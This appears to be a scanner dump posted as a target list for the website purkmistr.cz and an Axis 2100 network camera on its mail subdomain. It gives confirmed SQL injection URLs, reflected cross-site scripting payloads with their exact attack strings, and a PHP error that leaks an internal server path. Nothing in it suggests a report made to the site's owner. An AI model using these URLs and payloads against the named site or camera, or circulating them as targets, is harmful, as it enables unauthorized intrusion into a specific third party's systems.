purkmistr.cz

http://www.purkmistr.cz/ - SQLi, XSS

||| [High Possibility] SQL Injection
Severity: Critical
Confirmation: Confirmed
Vulnerability Classifications:  PCI 6.5.2 OWASP A1 CAPEC-66 CWE-89 98

Vulnerable URL: http://www.purkmistr.cz/plan-akci-purkmistr-plzen.php?id=%27
Vulnerable URL: http://www.purkmistr.cz/de_plan-akci-purkmistr-plzen.php?id=%27
Vulnerable URL: http://www.purkmistr.cz/en_plan-akci-purkmistr-plzen.php?id=%27

|-|  XSS (Cross-site Scripting)

Severity: Important
Confirmation: Confirmed
Vulnerable URL: http://www.purkmistr.cz/plan-akci-purkmistr-plzen.php?id=336'"--></style></script><script>alert(0x000134)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: id
Parameter Type: Querystring
Attack Pattern: 336'"--></style></script><script>alert(0x000134)</script>

Severity: Important
Confirmation: Confirmed
Vulnerable URL: http://www.purkmistr.cz/de_plan-akci-purkmistr-plzen.php?id=323'"--></style></script><script>alert(0x0007DB)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: id
Parameter Type: Querystring
Attack Pattern: 323'"--></style></script><script>alert(0x0007DB)</script>

|||  Programming Error Message

Severity: Low
Confirmation: Confirmed
Vulnerable URL: http://www.purkmistr.cz/de_plan-akci-purkmistr-plzen.php?id=%27
Vulnerability Classifications:  PCI 6.5.6 OWASP A6 CAPEC-118 CWE-200 209
Identified Error Message: <b>Fatal error</b>: Call to a member function fetch_array() on a non-object in <b>/stor1/purkmistr/html/plan_akci.php</b> on line <b>164</b>
Parameter Name: id
Parameter Type: Querystring
Attack Pattern: %27

|||  Axis 2100 Network Camera - http://mail.purkmistr.cz:88/view/index.shtml

-|- XSS (Cross-site Scripting)  -|-

Severity: Important
Confirmation: Confirmed
Vulnerable URL: http://mail.purkmistr.cz:88/view/'"--></style></script><script>alert(0x000024)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: URI-BASED
Parameter Type: RawUrlInjection
Attack Pattern: '"--></style></script><script>alert(0x000024)</script>

Severity: Important
Confirmation: Confirmed
Vulnerable URL: http://mail.purkmistr.cz:88/view/index.shtml'"--></style></script><script>alert(0x000039)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: URI-BASED
Parameter Type: RawUrlInjection
Attack Pattern: '"--></style></script><script>alert(0x000039)</script>

Severity: Important
Confirmation: Confirmed
Vulnerable URL: http://mail.purkmistr.cz:88/view/view.shtml'"--></style></script><script>alert(0x00003B)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: URI-BASED
Parameter Type: RawUrlInjection
Attack Pattern: '"--></style></script><script>alert(0x00003B)</script>